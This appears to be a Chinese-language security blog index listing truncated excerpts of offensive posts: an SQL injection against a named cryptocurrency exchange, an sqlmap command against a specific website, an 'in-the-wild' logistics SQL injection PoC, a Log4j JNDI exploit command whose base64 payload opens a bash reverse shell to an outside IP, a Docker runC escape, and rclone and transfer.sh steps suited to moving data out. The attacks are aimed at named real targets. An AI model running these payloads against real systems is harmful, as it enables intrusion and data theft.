APT-C-61

2022-04-02

对ftftx的渗透测试

目标：前台地址：FTFTX-全球数字货币交易所综合平台排行漏洞地址： SQL包情况：1234567891011121314151617GET /ad/queryAll?position=index%27and%27e%27%3D%27

2022-03-31

1sqlmap -u "http://www.stocambodia.com/search.php?act=detail&bglxid=972%E9%8E%88%27%22%5C%28&cc=41111111111

2022-03-31

鹰图平台：1https://hunter.qianxin.com/ Soall平台：1https://soall.org/ Shodan平台：1https://www.shodan.io/ Censys平台：1https://s

2022-03-31

在野利用物流0day

国内物流0day 文件search.php处存在SQL漏洞 Poc: 1/search.php?act=detail&bglxid=972鎈%27"%5C%28&cc=4111111111111111%2C&

2022-03-31

Log4漏洞利用工具

攻击代码： java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC82Ni4xNTIuMTcxL

2022-03-31

Docker逃逸复现

漏洞简述：攻击者可以通过特定的容器镜像或者exec操作可以获取到宿主机的runC执行时的文件句柄并修改掉runc的二进制文件，从而获取到宿主机的root执行权限。利用条件：Docker版本 < 18.09.2，runC版本<

2022-03-31

根据用于数据检索的传输信道，SQLi可分为三个独立的类别：inference（经典SQL注入）,inband（盲注、推理注入、带内注入）和out-of-band 一、什么是OOBout-of-band带外数据（OOB）与inband相反，它

2022-03-31

某包网APT

APT

2022-03-31

阿里云OSS储存

利用工具: rclone + winfsp 下载地址 Rclone downloads Download · WinFsp (secfs.net) rclone.conf 文件配置 1234567[设置挂载硬盘的名称（只能英文

2022-03-31

# Upload using cURL $ curl –upload-file ./hello.txt https://transfer.sh/hello.txt https://transfer.sh/YD2SwK/he